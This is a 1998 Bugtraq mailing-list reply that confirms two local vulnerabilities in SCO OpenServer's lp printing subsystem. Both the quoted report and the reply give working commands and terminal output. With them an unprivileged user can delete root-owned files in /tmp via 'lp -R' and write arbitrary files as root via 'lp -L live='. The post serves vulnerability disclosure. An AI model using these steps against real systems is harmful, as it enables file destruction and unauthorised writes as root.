[6993] in bugtraq
Re: Security problems on SCO's lp subsystem
daemon@ATHENA.MIT.EDU (Michael L. Wilkerson Jr.)
Fri Jun 19 04:50:11 1998
Date: Thu, 18 Jun 1998 21:02:46 -0400
Reply-To: mwilkers@talleytech.com
From: "Michael L. Wilkerson Jr." <mwilkers@TALLEYTECH.COM>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: Your message of "Thu, 18 Jun 1998 15:00:45 -0300."
<199806181801.PAA18733@titan.brasifrj.com.br>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Hello!
>
>While casually looking for SETUID binaries in a newly installed
>SCO 5.0.2 box, I have discovered that normal users with lp access
>(the default) may cause headaches to the system administrador.
>
>Details:
>
>System: SCO 5.0.2 Enterprise (5.0.4 too?)
> Plain Vanilla Intel Server
>
>OK. We are all clean.
>
>Exploit 1)
>
>Normal users can remove text files under /tmp. The lp command won't even
>try to "print" (and remove afterwards) binary or executable programs.
>There may be a way around this, but I haven't tried to find it.
>
>$ lp -R /tmp/text_file_to_be_removed
>
>The switch -R causes the removal of the file, after printing.
>
>This exploit won't work in dirs that don't have the sticky bit set.
Okay, I've tested these both. My box is:
SCO 5.0.4 Enterprise
(also) Plain Vanilla Intel
as root...
echo "test" > /tmp/rootfile
and the perms thereof are...
drwxrwxrwt 2 sys sys 1024 Jun 18 20:26 tmp
and
-rw-rw-r-- 1 root sys 5 Jun 18 20:26 rootfile
okay. now as a normal, unprivileged user, I run...
lpr -d lp -R /tmp/rootfile
...and to my displeasure, but as expected, the root-owned tempfile is
removed. (BTW, this normal user is NOT a member of the group, sys --of course).
>Exploit 2)
>
>This is even better, but only works if your lp subsystem has a file named
>/var/spool/lpd/lock. With this file in place, the lp command will enable
>the "-L live" option. With this, you can write to *any* file in the system.
>And even better, the file will be mode 600, owned by root...
>
>Just do:
>$ lp -L live=/any_file_in_the_system
>blablabla
>^D
>
>And that's it. You can type anything you want/need.
One more time!
running "touch /var/spool/lpd/lock"
yields:
-rw-rw-r-- 1 root sys 0 Jun 18 20:41 /var/spool/lpd/lock
...now as the same normal user I run (with rootfile being an as of yet
non-existing file)
lp -L live=/tmp/rootfile
Okay, then I enter whatever text I choose...and a ^D and bingo!
now "ls -l /tmp/rootfile" yields:
-rw------- 1 root lp 21 Jun 18 20:45 rootfile
Of course, the same normal user which created the file can now not even read it.
Okay, now to a previously existing /tmp/rootfile with perms
-rw-rw-r-- 1 root sys 5 Jun 18 20:52 rootfile
...I append, as a normal user, using the same lp exploit, whatever text I
choose. Now, ls -l /tmp/rootfile yields:
-rw-rw-r-- 1 root sys 28 Jun 18 20:53 rootfile
so, the perms didn't not become 600. But the new text has completely
overwritten the original text.
One thing to note is that file /var/spool/lpd/lock did not previously exist
before root touched it into existence.
>I'd like to know if these problems are still valid on 5.0.4. I couldn't
>find any mention of this problem on the SCO site. Older versions of SCO
>may exhibit this problem, since many of these have /usr/bin/lp setuid to
>root.
actually the perms on /usr/bin/lp are:
---x--x--x 1 bin lp 2472 Jun 18 20:10 /usr/bin/lp
and of course, lpr is a symlink to /usr/bin/lp.
Looks dangerous!
======================== Mike Wilkerson ==========================
"You cannot go on 'seeing through' things forever. The whole point
of seeing through something is to see something through it."
C.S. Lewis, "The Abolition of Man"
PGP Public Key: http://www.talleytech.com/~mwilkers/mypubkey.asc
==================== mwilkers@talleytech.com =====================
